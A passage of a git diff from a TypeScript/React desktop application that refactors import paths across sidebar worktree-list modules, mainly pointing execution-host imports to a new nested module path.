'../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import './visible-worktrees' import { computeVisibleWorktrees } from './compute-visible-worktrees' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-host-scope.ts b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-host-scope.ts index c12b3ec2ef8..711c3404a09 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-host-scope.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-host-scope.ts @@ -2,7 +2,7 @@ import { ALL_EXECUTION_HOSTS_SCOPE, getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../../shared/worktree/types' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts index d43c6be1a7e..e7933ce3ecd 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts @@ -1,6 +1,6 @@ import { selectSidebarLineageParentIdentities } from '@/store/slices/worktrees/metadata/cross-store-lineage-parents' import type { Repo } from '../../../../../../shared/repository/repo-types' -import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeIdsWithLiveAgent } from '@/lib/workspace/activity/worktree-activity-state' import type { useAppStore } from '@/store/index' import { getWorktreeIdsWithStructuredChat } from './visible-worktree-activity-inputs' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktrees.ts b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktrees.ts index 8e3d8519bf3..e253596238f 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktrees.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktrees.ts @@ -17,7 +17,7 @@ import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-reco import { useAppStore } from '@/store' import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index' import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index' -import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { computeRenderedSidebarWorktreeOrder, computeRenderedSidebarWorktrees diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/worktree-filter-visibility.ts b/src/renderer/src/components/sidebar/worktree-list/listing/worktree-filter-visibility.ts index aaf6778dd09..7acd9cc6064 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/worktree-filter-visibility.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/worktree-filter-visibility.ts @@ -5,7 +5,7 @@ import { getWorktreeExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import './visible-worktrees' import { computeVisibleWorktrees } from './compute-visible-worktrees' import { buildVisibleWorktreeOptionsFromState } from './visible-worktree-options-from-state' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/active-descendant-option.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/active-descendant-option.ts index 9ee53b713ae..eb150dfd0ad 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/active-descendant-option.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/active-descendant-option.ts @@ -1,6 +1,6 @@ import { getFolderWorkspaceHostIdentity } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree' import type { RenderRow } from '../listing/render-row' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { PinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' import { isPinnedWorktreeRow } from '../listing/renderable-rows' import { getRenderRowWorktreeItem, renderRowContainsWorktree } from './render-row-lookup' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/folder-reveal.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/folder-reveal.ts index b4135d3bbd2..b0729f0b6c0 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/folder-reveal.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/folder-reveal.ts @@ -17,7 +17,7 @@ import { getProjectGroupHeaderKey } from '../../../../../../shared/sidebar-list/ import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getFolderWorkspaceLaneKey } from '../../../../../../shared/sidebar-list/folders/folder-workspace-lanes' import type { WorktreeGroupBy } from '../../../../../../shared/sidebar-list/row-types' import { getFolderWorkspaceHostId } from '../../../../../../shared/sidebar-list/hosts/folder-workspace-host-id' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/mounted-row-reveal.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/mounted-row-reveal.ts index de21a0b6175..c218f6f87ad 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/mounted-row-reveal.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/mounted-row-reveal.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import { getRevealBoundsVisibility, diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/pending-reveal-inputs.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/pending-reveal-inputs.ts index b365c63c22d..4e3361fae62 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/pending-reveal-inputs.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/pending-reveal-inputs.ts @@ -15,7 +15,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { SidebarLineageParentIdentities } from '../../../../../../shared/sidebar-list/lineage/worktree-lineage-projection' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RenderRow } from '../listing/render-row' import type { ProjectGroupingModel } from '../../../../../../shared/sidebar-list/sections/project-section-grouping' import type { diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/render-row-lookup.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/render-row-lookup.ts index 152c6f8cdbc..ba1c9333a4d 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/render-row-lookup.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/render-row-lookup.ts @@ -6,7 +6,7 @@ import { import { getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/sidebar-workspace-delete.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/sidebar-workspace-delete.ts index f8dabeb0864..3acb4f5b871 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/sidebar-workspace-delete.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/sidebar-workspace-delete.ts @@ -1,7 +1,7 @@ import { useAppStore } from '@/store' import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome' import { resolveWorktreeOperationRouteForHost } from '@/lib/workspace/ownership/worktree-operation-route' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import type { Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-active-row.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-active-row.ts index b48076c242e..9918ba0b0ac 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-active-row.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-active-row.ts @@ -1,6 +1,6 @@ import { useCallback, useLayoutEffect, useRef, useState } from 'react' import type { ActiveSurfaceVariant } from '../../workspace-card/controller/worktree-card-model' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import type { HostSectionRow } from '../../../../../../shared/sidebar-list/hosts/host-section-rows' import type { PinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.ts index b5636185c0c..78b2e6dc1da 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.ts @@ -3,8 +3,8 @@ import React, { useCallback, useEffect, useRef, useState } from 'react' import { useAppStore } from '@/store' import { activateWorktreeFromSidebar } from '@/lib/workspace/activation/sidebar-worktree-activation' import { hasVisibleOverlay } from '@/lib/overlay-interaction/visible-overlay' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform' import { keybindingMatchesAction } from '../../../../../../shared/keybindings/matching' import type { HostSectionRow } from '../../../../../../shared/sidebar-list/hosts/host-section-rows' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-neighbor-prewarm.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-neighbor-prewarm.ts index 1bdce41b045..c0ccc060611 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-neighbor-prewarm.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-neighbor-prewarm.ts @@ -5,7 +5,7 @@ import { getWorktreeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { HostSectionRow } from '../../../../../../shared/sidebar-list/hosts/host-section-rows' import type { PinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' import { resolveCycledWorkspaceRow } from './worktree-keyboard-cycle' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts index c7ce6c8a07d..dd2b76bc3b5 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts @@ -9,7 +9,7 @@ import { } from '@/lib/workspace/navigation/scroll-to-current-workspace-status' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import type { WorktreeGroupBy } from '../../../../../../shared/sidebar-list/row-types' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-selection.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-selection.ts index ba2e898bf54..edb4e842fce 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-selection.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-selection.ts @@ -5,7 +5,7 @@ import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host- import type { HostSectionRow } from '../../../../../../shared/sidebar-list/hosts/host-section-rows' import type { PinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' import { getRenderedWorkspaceRowsInSidebarOrder } from './worktree-sidebar-row-preference' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { setVisibleWorktreeIds, setVisibleWorktreeShortcutTargets diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-keyboard-cycle.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-keyboard-cycle.ts index ae22ddcb139..0b7a46c2959 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-keyboard-cycle.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-keyboard-cycle.ts @@ -8,7 +8,7 @@ import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/h import { getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { PinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' import type { RenderedWorkspaceRow } from './worktree-sidebar-row-preference' import { getRenderedWorkspaceRowsInSidebarOrder as getCyclableWorktreeRows } from './worktree-sidebar-row-preference' diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-reveal-group-keys.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-reveal-group-keys.ts index 5c9d6e40d99..a6559a950c5 100644 --- a/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-reveal-group-keys.ts +++ b/src/renderer/src/components/sidebar/worktree-list/navigation/worktree-reveal-group-keys.ts @@ -2,7 +2,7 @@ import type { AppState } from '@/store/types' import { getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts index 3d4e2252f6f..87abf1d010e 100644 --- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts @@ -9,7 +9,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { DesktopSidebarFacts } from '../../../../../../shared/sidebar-list/feed-facts/desktop-sidebar-facts' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-golden-store.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-golden-store.test-fixture.ts index 3d88d0b1544..73f4bfae9ef 100644 --- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-golden-store.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-golden-store.test-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import type { Project, ProjectHostSetup } from '../../../../../../shared/project/project-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktree, Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity-project-catalog.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity-project-catalog.test-fixture.ts index 348c284a1a2..e173ccc12ff 100644 --- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity-project-catalog.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity-project-catalog.test-fixture.ts @@ -3,7 +3,7 @@ import { mergeFetchedReposForHost } from '@/store/repos/repo-catalog-identity' import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { adoptEndpointRepo } from '../../../../../../shared/project/catalog/endpoint-catalog-adoption' import { applyManualRepoOrder } from '../../../../../../shared/repository/manual-repo-order' import { mergeFetchedHostProjectCatalog } from '../../../../../../shared/project/catalog/project-compatibility-host-merge' diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts index 092834a41dc..9057aff5b31 100644 --- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts @@ -6,7 +6,7 @@ import { getLocalExecutionHostLabel, getRepoExecutionHostId, getSettingsFocusedExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { withRepoHostOwnership } from '@/store/slices/worktrees/listing/worktree-host-ownership' import { getHostDisplayLabelOverrides } from '../../../../../../shared/execution-host/host-setting-overrides' import { getPinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts index a9974c1f0ac..4cd5be61d28 100644 --- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts @@ -12,7 +12,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { isIdleWorkspaceActivity, diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx index 3c89b2ed33b..a789705cd2d 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/HostSectionHeaderMenu.tsx @@ -29,7 +29,7 @@ import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { sshConnectVerb } from '@/ssh/ssh-connect-verb' import { formatSshUserFacingError } from '@/components/settings/ssh/targets/ssh-user-facing-error' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { runtimePairingRepairRoute } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy' diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/NoticeHostGlyph.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/NoticeHostGlyph.tsx index b02b1575400..6627f27535d 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/NoticeHostGlyph.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/NoticeHostGlyph.tsx @@ -3,7 +3,10 @@ import React from 'react' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { HostRowIcon } from '../../../host-row-icon' import { useRuntimeHostDisconnected } from '@/store/slices/runtime-status/views/use-runtime-status-view' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' type NoticeHostGlyphProps = { diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/RepoWslDistroStoppedIndicator.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/RepoWslDistroStoppedIndicator.tsx index ddff2d72292..0bd92e73059 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/RepoWslDistroStoppedIndicator.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/RepoWslDistroStoppedIndicator.tsx @@ -6,7 +6,7 @@ import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult } from '../../../../../../shared/worktree/types' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { handleRepoHeaderActionPointerDown, stopRepoHeaderKeyboardToggle diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx index 035838e0292..d10f99cf010 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/SectionHeader.tsx @@ -11,7 +11,7 @@ import { RepoIconGlyph } from '@/components/repo/repo-icon' import { RepoForkIndicator } from '@/components/repo/repo-fork-indicator' import '@/store/project-groups/project-group-owner-routing' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getHeaderDragRepo, isSingleHostProjectHeader, diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/item-row.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/item-row.tsx index fc38b4b1b7c..35aac0a8fc0 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/item-row.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/item-row.tsx @@ -2,7 +2,7 @@ import type { DraggedWorktreeCopies } from '../drag/dragged-worktree-copies' import React from 'react' import { cn } from '@/lib/class-names' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' import { isActiveSidebarWorkspace } from '../../../../../../shared/sidebar-list/selection/active-workspace' diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/project-group-folder-refresh.ts b/src/renderer/src/components/sidebar/worktree-list/rows/project-group-folder-refresh.ts index fe5b707d05b..7a2f6de483d 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/project-group-folder-refresh.ts +++ b/src/renderer/src/components/sidebar/worktree-list/rows/project-group-folder-refresh.ts @@ -4,7 +4,7 @@ import type { AppState } from '@/store/types' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isPathInsideOrEqual, normalizeRuntimePathForComparison diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/project-group-header-actions.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/project-group-header-actions.tsx index 6bfb299ae4e..7a0570f0c73 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/project-group-header-actions.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/project-group-header-actions.tsx @@ -13,7 +13,7 @@ import { useTranslate } from '@/i18n/use-translate' import { getFolderWorkspacePathStatusDescription } from '@/lib/workspace/paths/folder-workspace-path-status' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' import type { FolderWorkspacePathStatus } from '../../../../../../shared/folder-workspaces/folder-workspace-path-status' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getFolderProjectGroupRefreshHandler } from './project-group-folder-refresh' import { REPO_HEADER_ACTION_BUTTON_CLASS } from './repo-header-action-button-class' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/project-header-color.ts b/src/renderer/src/components/sidebar/worktree-list/rows/project-header-color.ts index 728eb0ada82..2d68c3927ea 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/project-header-color.ts +++ b/src/renderer/src/components/sidebar/worktree-list/rows/project-header-color.ts @@ -1,5 +1,8 @@ -import { DEFAULT_REPO_BADGE_COLOR, REPO_COLORS } from '../../../../../../shared/constants' -import { normalizeRepoBadgeColor } from '../../../../../../shared/repository/appearance/repo-badge-color' +import { + DEFAULT_REPO_BADGE_COLOR, + REPO_COLORS, + normalizeRepoBadgeColor +} from '../../../../../../shared/repository/appearance/repo-badge-color' const PROJECT_GROUP_HEADER_KEY_PREFIX = 'repo:' const PROVIDER_PROJECT_HEADER_KEY_PREFIX = 'project:' diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/project-header-host-context.ts b/src/renderer/src/components/sidebar/worktree-list/rows/project-header-host-context.ts index 0598dc25db5..0b8199db758 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/project-header-host-context.ts +++ b/src/renderer/src/components/sidebar/worktree-list/rows/project-header-host-context.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { annotateManagedOrcadExecutionHosts, indexExecutionHostsById, diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/repo-header-project-actions.tsx b/src/renderer/src/components/sidebar/worktree-list/rows/repo-header-project-actions.tsx index c9fc8c6cd38..e4d7b42cb5a 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/repo-header-project-actions.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/rows/repo-header-project-actions.tsx @@ -31,8 +31,10 @@ import { useTranslate, type Translate } from '@/i18n/use-translate' import { getRepositoryIconSectionId } from '@/components/settings/repository/repository-settings-targets' import { WslMoveProjectMenuItem } from '@/components/wsl-move/WslMoveProjectMenuItem' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' -import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' +import type { + Repo, + WorktreeVisibilityDefaults +} from '../../../../../../shared/repository/repo-types' import { isGitRepoKind } from '../../../../../../shared/repository/repo-kind' import '../../../../../../shared/worktree/visibility/ownership' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/section-header-row-context.ts b/src/renderer/src/components/sidebar/worktree-list/rows/section-header-row-context.ts index bf989117779..bcaa11ddff1 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/section-header-row-context.ts +++ b/src/renderer/src/components/sidebar/worktree-list/rows/section-header-row-context.ts @@ -1,7 +1,7 @@ import type React from 'react' import type { FolderWorkspacePathStatus } from '../../../../../../shared/folder-workspaces/folder-workspace-path-status' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorkspaceStatus, WorkspaceStatusDefinition diff --git a/src/renderer/src/components/sidebar/worktree-list/rows/use-project-group-dialogs.ts b/src/renderer/src/components/sidebar/worktree-list/rows/use-project-group-dialogs.ts index 65adc2ef741..aa67b0bd517 100644 --- a/src/renderer/src/components/sidebar/worktree-list/rows/use-project-group-dialogs.ts +++ b/src/renderer/src/components/sidebar/worktree-list/rows/use-project-group-dialogs.ts @@ -10,7 +10,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { refreshFolderProjectGroup } from './project-group-folder-refresh' import { selectDetectedWorktreesByRepo, diff --git a/src/renderer/src/components/sidebar/worktree-list/viewport/viewport-props.ts b/src/renderer/src/components/sidebar/worktree-list/viewport/viewport-props.ts index 760f87eb013..8e68bca5ec2 100644 --- a/src/renderer/src/components/sidebar/worktree-list/viewport/viewport-props.ts +++ b/src/renderer/src/components/sidebar/worktree-list/viewport/viewport-props.ts @@ -8,7 +8,7 @@ import type { } from '@/store/slices/ui/ui-slice-contract-core' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' -import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { WorkspaceLineage, @@ -19,7 +19,7 @@ import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { ExecutionHostRegistryEntry } from '../../../../../../shared/execution-host/execution-host-registry-entry' import type { HostSectionRow } from '../../../../../../shared/sidebar-list/hosts/host-section-rows' import type { ImportedWorktreeCardActionState } from '../listing/imported-worktrees-card-actions' diff --git a/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts index 439b4c13703..deaf5b1d822 100644 --- a/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts +++ b/src/renderer/src/components/sidebar/wsl-host-offer-actions.ts @@ -1,5 +1,5 @@ import type { AddRepoExistingWorkspaceSource } from 